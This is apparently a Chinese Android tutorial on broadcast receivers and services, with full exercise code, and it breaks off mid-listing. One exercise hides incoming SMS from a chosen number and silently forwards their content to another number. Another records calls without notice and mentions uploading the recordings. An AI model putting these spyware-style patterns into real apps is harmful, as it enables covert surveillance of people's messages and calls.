四大組件:
activity 顯示。
contentProvider 對外暴露本身的數據給其餘的應用程序。
BroadcastReceiver 廣播接收者,必須指定要接收的廣播類型。必須明確的指定action
service 服務,是運行後臺,它是沒有界面的。對某件事情進行監聽。java
1、廣播:事件。
普通廣播: 是異步的。會廣播接收者同時接收,不能被中斷
sendBroadcast()
有序廣播: 是同步的。會根據廣播接收的優先級進行接收,是能夠中斷 短信到來廣播
sendOrderBroadcast()
-1000 ~ 1000
若是有序廣播明確的指定了廣播接收者,他是沒法被中斷的。
廣播接收者的訂閱:
1 在清單文件裏面指定android
<receiver android:name=".SmsReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
2 在代碼裏面指定shell
IntentFilter filter = new IntentFilter(); filter.setPriority(1000); filter.addAction("android.provider.Telephony.SMS_RECEIVED"); registerReceiver(new SmsReceiver(), filter);
當廣播接收者一旦接收到廣播,它會執行裏面的onReceive()方法,可是裏面是不能執行耗時的操做,這個方式若是在10s以內沒有執行完畢,就會出現anr異常,也就是應用無響應異常數據庫
練習1:利用廣播攔截短信、攔截外撥電話、增長IP撥號功能express
package com.shellway.mysmsreceiver; import android.support.v7.app.ActionBarActivity; import android.content.IntentFilter; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //代碼註冊廣播接收者 IntentFilter filter = new IntentFilter(); filter.setPriority(1000); filter.addAction("android.provider.Telephony.SMS_RECEIVED"); registerReceiver(new SmsReceiver(), filter); } }
package com.shellway.mysmsreceiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.text.BoringLayout; import android.util.Log; public class PhoneReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //獲得外撥電話 String number = getResultData(); Log.i("i", number); // abortBroadcast();//由於底層明確了廣播接收者,因此這種中斷打電話的效果不行 // setResultData(null);//應該用這種方式來中斷打電話 // 給用戶設置IP撥號 setResultData("17951"+number); } }
package com.shellway.mysmsreceiver; import java.text.SimpleDateFormat; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsMessage; import android.telephony.gsm.SmsManager; import android.util.Log; public class SmsReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub Log.i("i", "已經接收到短信"); Bundle bundle = intent.getExtras(); Object[] objects = (Object[]) bundle.get("pdus"); for (Object object : objects) { SmsMessage smsMessage = SmsMessage.createFromPdu((byte[])object); //獲取短信內容 String body = smsMessage.getDisplayMessageBody(); //獲取來短信的電話號碼 String addr = smsMessage.getDisplayOriginatingAddress(); //獲取短信到來的時間 Long time = smsMessage.getTimestampMillis(); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String date = sdf.format(time); Log.i("i", "電話號碼:"+addr); Log.i("i", "短信內容: "+body); Log.i("i","時間: "+ date); if(addr.equals("5558")){ //中斷廣播,注意在配置文件裏要設置好這個接收者的優先級爲最高 abortBroadcast(); //攔截消息轉發給第三方 android.telephony.SmsManager smsManager = android.telephony.SmsManager.getDefault(); smsManager.sendTextMessage("5554", null, addr + ","+ body +","+ date, null, null); } } } }
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.mysmsreceiver" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 這裏使用了代碼來實現廣播接收者的註冊來代替 <receiver android:name=".SmsReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"></action> </intent-filter> </receiver> --> <receiver android:name=".PhoneReceiver"> <intent-filter android:priority="1000"> <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> </intent-filter> </receiver> </application> </manifest>
運行結果截圖:apache
練習2:自定義廣播(這裏演示本身接收本身發出的廣播)服務器
package com.shellway.customreceiver; import android.support.v7.app.ActionBarActivity; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.EditText; public class MainActivity extends ActionBarActivity { private EditText et_data; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //獲取用戶輸入的數據 et_data = (EditText) findViewById(R.id.et_data); } public void send(View view){ String data = et_data.getText().toString(); //建立一個意圖 Intent intent = new Intent(this,CustomReceiver.class); //給我這個廣播自定義一個動做名稱 intent.setAction("com.shellway.CustomReceiver"); //往意圖裏封裝數據 intent.putExtra("data", data); //發送的是普通廣播,不是有序廣播 sendBroadcast(intent); } }
package com.shellway.customreceiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class CustomReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //接收廣播過來的數據 String data = intent.getStringExtra("data"); Log.i("i", data); } }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="要廣播的數據:" /> <EditText android:id="@+id/et_data" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="請輸入要廣播發送的數據" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="send" android:text="開始廣播" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.customreceiver" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".CustomReceiver"> <intent-filter> <action android:name="com.shellway.CustomReceiver"></action> </intent-filter> </receiver> </application> </manifest>
運行結果截圖:app
2、service:服務
運行於後臺,沒有界面,對某件事情進行監聽。它不能本身運行,必須手動激活。less
當服務被建立的時候會調用一個onCreate()方法。dom
練習3:經過服務監聽電話的呼叫狀態
package com.shellway.myservice; import android.support.v7.app.ActionBarActivity; import android.telephony.TelephonyManager; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.View; public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void startService(View view){ //建立一個意圖 Intent intent = new Intent(this,MyService.class); //啓動一個服務 startService(intent); } }
package com.shellway.myservice; import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class MyService extends Service { //定義一個系統默認的電話服務管理者 private TelephonyManager tm; private MyPhoneStateListener listener; //當服務被建立的時候調用該方法 @Override public void onCreate() { super.onCreate(); listener = new MyPhoneStateListener(); tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //監聽電話的呼叫狀態 tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); } private final class MyPhoneStateListener extends PhoneStateListener{ @Override public void onCallStateChanged(int state, String incomingNumber) { // TODO Auto-generated method stub super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://閒置狀態 Log.i("i", "閒置狀態"); Log.i("i", incomingNumber); break; case TelephonyManager.CALL_STATE_OFFHOOK://接聽狀態 Log.i("i", "接聽狀態"); break; case TelephonyManager.CALL_STATE_RINGING://響鈴狀態 Log.i("i", "響鈴狀態"); break; default: break; } } } @Override public IBinder onBind(Intent intent) { return null; } }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="startService" android:text="啓動一個監聽電話服務" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.myservice" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".MyService"></service> </application> </manifest>
運行結果截圖:
練習4:在通話的同時刻錄音頻
package com.shellway.myservice; import java.io.File; import java.io.IOException; import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class MyService extends Service { //定義一個系統默認的電話服務管理者 private TelephonyManager tm = null; private MyPhoneStateListener listener; //聲明一個音頻刻錄機 private MediaRecorder mr; //當服務被建立的時候調用該方法 @Override public void onCreate() { super.onCreate(); listener = new MyPhoneStateListener(); tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //監聽電話的呼叫狀態 tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); } private final class MyPhoneStateListener extends PhoneStateListener{ String fileName ; @Override public void onCallStateChanged(int state, String incomingNumber) { // TODO Auto-generated method stub super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://閒置狀態 Log.i("i", "閒置狀態"); Log.i("i", incomingNumber); if (mr!=null) { mr.stop(); mr.reset(); mr.release(); mr = null; } if (fileName!=null) { //這裏能夠寫一些上傳錄製的音頻到服務器 //默認只能刻錄本身的聲音,若要刻錄對方聲音就要對底層進行修改 Log.i("i", fileName); } break; case TelephonyManager.CALL_STATE_OFFHOOK://接聽狀態 Log.i("i", "接聽狀態"); mr = new MediaRecorder(); //一、設置刻錄的音頻來源,來自麥克風 mr.setAudioSource(MediaRecorder.AudioSource.MIC); //二、設置所刻錄的音頻輸出格式 mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //三、設置輸出數據的編碼 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); File file = new File(Environment.getExternalStorageDirectory(), System.currentTimeMillis()+".3gp"); //獲取文件名,若是在刻錄完成後能夠把它上傳到服務器,就要用到 httpClient 3.0 fileName = file.getName(); //四、設置輸出的路徑 mr.setOutputFile(file.getAbsolutePath()); try { //準備刻錄 mr.prepare(); //開始刻錄 mr.start(); } catch (IllegalStateException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } break; case TelephonyManager.CALL_STATE_RINGING://響鈴狀態 Log.i("i", "響鈴狀態"); break; default: break; } } } @Override public IBinder onBind(Intent intent) { return null; } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); } }
同時添加錄音權限和外存儲權限:
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/>
運行結果截圖:
Service的生命週期:
若是用startService()去啓動服務。只能經過stopService()的方式去中止,且:
onCreate() 只會被調用一次
onStart() 只要啓動就會屢次調用
onDestory() 只會被調用一次
若是用bindService()去啓動(綁定)服務:
onCreate() 只會被調用一次
onBind() 只會被調用一次
onUnbind() 只會被調用一次
onDestroy() 只會被調用一次
注意:
若是訪問者退出,須要把鏈接釋放。
能夠屢次綁定,可是解綁服務只能執行一次,屢次解綁就會出錯。
用bindService()後要記得解綁,若綁定後沒有解綁而直接退出,則會出現如下異常:
09-01 04:10:53.014: E/ActivityThread(5415):
Activity cn.itcast.service.MainActivity has leaked ServiceConnection cn.itcast.service.MainActivity$MyServiceConnection@44ee6248 that was originally bound here
服務裏面可否執行耗時的操做?
答:服務裏面是不能執行耗時的操做。若是須要執行耗時的操做:能夠開啓子線程來執行。
在開發的時候每每都須要和服務進行通訊,就須要使用bindService()來啓動服務。
Service的生命週期練習:
package com.shellway.servicelifecycle; import android.support.v7.app.ActionBarActivity; import android.content.ComponentName; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.view.Menu; import android.view.MenuItem; import android.view.View; public class MainActivity extends ActionBarActivity { private MyServiceConnection conn = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } //用startService方式開啓一個服務 public void startService(View view){ Intent intent = new Intent(this,ServiceLifeCycle.class); startService(intent); } //用startService方式開啓一個服務,只能用stopService()去中止這個服務 public void stopService(View view){ Intent intent = new Intent(this,ServiceLifeCycle.class); stopService(intent); } //綁定服務,即用bindService()開啓一個服務 public void bindService(View view){ Intent intent = new Intent(this,ServiceLifeCycle.class); bindService(intent, conn, BIND_AUTO_CREATE); } public void unbindService(View view){ //解綁服務 unbindService(conn); conn = null; } private class MyServiceConnection implements ServiceConnection { @Override public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub } @Override public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub } } @Override protected void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); if (conn!=null) { //解綁服務 unbindService(conn); conn = null; } } }
package com.shellway.servicelifecycle; import android.app.Service; import android.content.Intent; import android.content.ServiceConnection; import android.os.IBinder; import android.util.Log; public class ServiceLifeCycle extends Service { @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); Log.i("i", " onCreate "); } @Override public void onStart(Intent intent, int startId) { // TODO Auto-generated method stub super.onStart(intent, startId); Log.i("i", " onStart "); } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub Log.i("i", " onBind "); return null; } @Override public void unbindService(ServiceConnection conn) { // TODO Auto-generated method stub super.unbindService(conn); Log.i("i", " unbindService "); } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); Log.i("i", " onDestroy "); } }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="啓動服務startService" android:onClick="startService" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="中止服務stopService" android:onClick="stopService" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="綁定服務bindService" android:onClick="bindService" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="解綁服務unbindService" android:onClick="unbindService" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.servicelifecycle" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".ServiceLifeCycle"></service> </application> </manifest>
運行結果截圖:
如何調用服務裏面的方法?步驟:
1 設計一個接口:IStudentQueryService Student queryStudent(int no);
2 在activity裏面進行綁定操做:
bindService(intent,conn,flag);
3 寫一個鏈接實現類:
private final class MyServiceConnection implements ServiceConnection{ public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub ibinder = (IStudnetQueryService) service; } public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub conn = null; ibinder = null; } }
4 在activity裏面用IStudentQueryService 來接收onServiceConnected(ComponentName name, IBinder service)
返回過來的IBinder對象。
5 寫一個StudentService extends Service ,重寫onBind()
編譯一個內部類StudentBinder extends Binder implements IStudnetQueryService
6 建立StudentBinder的對象,經過onBind()方法返回。
7 在activity經過onBind()返回的對象調用服務裏面的方法。
練習:訪問本地服務的方法
package com.shellway.callservicemethods; import com.shellway.callservicemethods.domain.Student; import com.shellway.callservicemethods.imp.IStudentService; import android.support.v7.app.ActionBarActivity; import android.content.ComponentName; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.EditText; import android.widget.TextView; public class MainActivity extends ActionBarActivity { private MyServiceConnection conn; private EditText et_id; private IStudentService istu; private TextView tv; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); et_id = (EditText) findViewById(R.id.et_id); tv = (TextView) findViewById(R.id.tv_show); //建立一個綁定服務的鏈接 conn = new MyServiceConnection(); //應用一啓動就綁定一個服務 Intent intent = new Intent(this,CallServiceMethods.class); bindService(intent, conn, BIND_AUTO_CREATE); } //點擊查詢按鈕操做 public void query(View view){ //得到用戶輸入的數據 String id = et_id.getText().toString(); //調用本地服務裏面的方法 Student stu = istu.getStudent(Integer.valueOf(id)); //把返回數據設置到界面 tv.setText(stu.toString()); } private class MyServiceConnection implements ServiceConnection{ @Override public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub //由於在服務中接口的實現類繼承了IBinder,因此能夠把它經過Ibinder這個通道返回 istu = (IStudentService) service; } @Override public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub conn = null; istu = null; } } @Override protected void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); //當界面退出時記得解綁 if (conn!=null) { unbindService(conn); conn=null; } } }
package com.shellway.callservicemethods; import com.shellway.callservicemethods.domain.Student; import com.shellway.callservicemethods.imp.IStudentService; import android.app.Service; import android.content.Intent; import android.os.Binder; import android.os.IBinder; public class CallServiceMethods extends Service { //定義一個咱們自定義的接口的實現類 private MyStudentService iBinder = new MyStudentService(); //模擬一個學生信息數據庫 Student[] students = new Student[]{new Student(),new Student(1,"韓信",67), new Student(2,"蒙恬",58),new Student(3,"顏路",25),new Student(4,"張良",28)}; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return iBinder; } private class MyStudentService extends Binder implements IStudentService{ @Override public Student getStudent(int id) { // TODO Auto-generated method stub return reStudent(id); } } //經過傳過來的學生ID得到學生信息,這裏是被調用的服務裏面的方法 public Student reStudent(int id){ return students[id]; } }
package com.shellway.callservicemethods.domain; public class Student { private int id; private String name; private int age; public Student() { super(); // TODO Auto-generated constructor stub } public Student(int id, String name, int age) { super(); this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student [id=" + id + ", name=" + name + ", age=" + age + "]"; } }
package com.shellway.callservicemethods.imp; import com.shellway.callservicemethods.domain.Student; public interface IStudentService { public Student getStudent(int id); }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="請輸入要查詢學生的學號:" /> <EditText android:id="@+id/et_id" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="query" android:text="查詢" /> <TextView android:id="@+id/tv_show" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="學生信息" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.callservicemethods" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".CallServiceMethods"></service> </application> </manifest>
運行結果截圖:
上面的操做是一個本地的服務。在開發的時候有可能還會去調用別人應用裏面提供好的服務。
遠程綁定服務,調用服務裏面的方法。這裏一兩個名詞:IPC(Inter-Process Communication,進程間通訊)和AIDL
1 編寫一個接口,再把接口文件修改成aidl,不能有修飾符。
若是咱們使用了自定義對象須要實現Parcelable接口,還須要定義個一個aidl文件對這個類進行一個描述(Student.aidl).
編譯器就會在gen目錄下面生成對應的xx.java文件
2 在服務裏面建立一個內部類:extends Stub 實現未實現的方法。
生成這個類的對象經過onBind()方法返回。
3 在客戶端綁定服務。
注意:
public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub ibinder = Stub.asInterface(service); }
練習:遠程服務的綁定,即訪問遠程服務的方法。
服務端:注意運行的時候先啓動服務端
package com.shellway.callremoteservice; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } }
package com.shellway.callremoteservice; import com.shellway.callremoteservice.domain.Student; import com.shellway.callremoteservice.imp.IStudentService.Stub; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.os.RemoteException; public class CallRemoteService extends Service { //自定義一個類繼承Stub private MyStudentService iBinder = new MyStudentService(); //模擬虛擬數據 Student[] students = new Student[]{new Student(1,"荊軻",67),new Student(2,"端慕容",58), new Student(3,"高漸離",25),new Student(4,"高月",28)}; @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub //經過ononBind()返回自定義類的對象 return iBinder; } private class MyStudentService extends Stub{ @Override public Student getStudent(int id) throws RemoteException { // TODO Auto-generated method stub return reStudent(id); } } //獲取數據 public Student reStudent(int id){ return students[id-1]; } }
package com.shellway.callremoteservice.domain; import android.os.Parcel; import android.os.Parcelable; public class Student implements Parcelable { private int id; private String name; private int age; public Student(int id, String name, int age) { super(); this.id = id; this.name = name; this.age = age; } @Override public int describeContents() { // TODO Auto-generated method stub return 0; } @Override public void writeToParcel(Parcel dest, int flags) { // TODO Auto-generated method stub dest.writeInt(id); dest.writeString(name); dest.writeInt(age); } public static final Parcelable.Creator<Student> CREATOR = new Parcelable.Creator<Student>() { public Student createFromParcel(Parcel in) { return new Student(in); } public Student[] newArray(int size) { return new Student[size]; } }; public Student(Parcel in){ id = in.readInt(); name = in.readString(); age = in.readInt(); } @Override public String toString() { return "Student [id=" + id + ", name=" + name + ", age=" + age + "]"; } }
package com.shellway.callremoteservice.domain; parcelable Student;
package com.shellway.callremoteservice.imp; import com.shellway.callremoteservice.domain.Student; interface IStudentService { Student getStudent(int id); }
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context="com.shellway.callremoteservice.MainActivity" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/hello_world" /> </RelativeLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.callremoteservice" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <!-- 這裏的service要給它一個action,好讓它對外提供接口 --> <service android:name=".CallRemoteService"> <intent-filter > <action android:name="com.shellway.callremoteservice.service"/> </intent-filter> </service> </application> </manifest>
客戶端:注意這裏面的另外兩個包中的類都要從服務端拷貝過來,因此客戶端就不貼同樣的代碼了。
package com.shellway.callremoteservicemethods; import android.content.ComponentName; import android.content.Intent; import android.content.ServiceConnection; import android.os.Bundle; import android.os.IBinder; import android.os.RemoteException; import android.support.v7.app.ActionBarActivity; import android.view.View; import android.widget.EditText; import android.widget.TextView; import com.shellway.callremoteservice.domain.Student; import com.shellway.callremoteservice.imp.IStudentService; import com.shellway.callremoteservice.imp.IStudentService.Stub; public class MainActivity extends ActionBarActivity { private IStudentService iBinder; private MyServiceConnection conn; private EditText et_id; private TextView tv; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); et_id = (EditText) findViewById(R.id.et_id); tv = (TextView) findViewById(R.id.tv_show); conn = new MyServiceConnection(); //程序一開始就要綁定一個遠程服務 Intent intent = new Intent(); intent.setAction("com.shellway.callremoteservice.service"); bindService(intent, conn, BIND_AUTO_CREATE); } public void query(View view){ String id = et_id.getText().toString(); try { //這裏是調用遠程服務中的方法,即本身先前在服務端定義接口實現類, //而後New出一個對象並傳過來,經過它來調用裏面服務裏面的方法 Student stu = iBinder.getStudent(Integer.valueOf(id)); tv.setText(stu.toString()); } catch (NumberFormatException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (RemoteException e) { // TODO Auto-generated catch block e.printStackTrace(); } } private class MyServiceConnection implements ServiceConnection{ @Override public void onServiceConnected(ComponentName name, IBinder service) { // TODO Auto-generated method stub //這裏是獲得遠程服務中,本身先前在服務端定義接口實現類的對象 iBinder = Stub.asInterface(service); } @Override public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub } } @Override protected void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); unbindService(conn); } }
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="請輸入要查詢學生的學號:" /> <EditText android:id="@+id/et_id" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:onClick="query" android:text="查詢" /> <TextView android:id="@+id/tv_show" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="學生信息" /> </LinearLayout>
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.shellway.callremoteservicemethods" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
運行效果截圖:
練習:調用Android底層已經實現的掛斷電話endcall()方法,這裏也用到了調用遠程服務裏方法知識
/* //device/java/android/android/content/Intent.aidl ** ** Copyright 2007, The Android Open Source Project ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. */ package android.telephony; parcelable NeighboringCellInfo;
/* * Copyright (C) 2007 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.internal.telephony; import android.os.Bundle; import java.util.List; import android.telephony.NeighboringCellInfo; /** * Interface used to interact with the phone. Mostly this is used by the * TelephonyManager class. A few places are still using this directly. * Please clean them up if possible and use TelephonyManager insteadl. * * {@hide} */ interface ITelephony { /** * Dial a number. This doesn't place the call. It displays * the Dialer screen. * @param number the number to be dialed. If null, this * would display the Dialer screen with no number pre-filled. */ void dial(String number); /** * Place a call to the specified number. * @param number the number to be called. */ void call(String number); /** * If there is currently a call in progress, show the call screen. * The DTMF dialpad may or may not be visible initially, depending on * whether it was up when the user last exited the InCallScreen. * * @return true if the call screen was shown. */ boolean showCallScreen(); /** * Variation of showCallScreen() that also specifies whether the * DTMF dialpad should be initially visible when the InCallScreen * comes up. * * @param showDialpad if true, make the dialpad visible initially, * otherwise hide the dialpad initially. * @return true if the call screen was shown. * * @see showCallScreen */ boolean showCallScreenWithDialpad(boolean showDialpad); /** * End call if there is a call in progress, otherwise does nothing. * * @return whether it hung up */ boolean endCall(); /** * Answer the currently-ringing call. * * If there's already a current active call, that call will be * automatically put on hold. If both lines are currently in use, the * current active call will be ended. * * TODO: provide a flag to let the caller specify what policy to use * if both lines are in use. (The current behavior is hardwired to * "answer incoming, end ongoing", which is how the CALL button * is specced to behave.) * * TODO: this should be a oneway call (especially 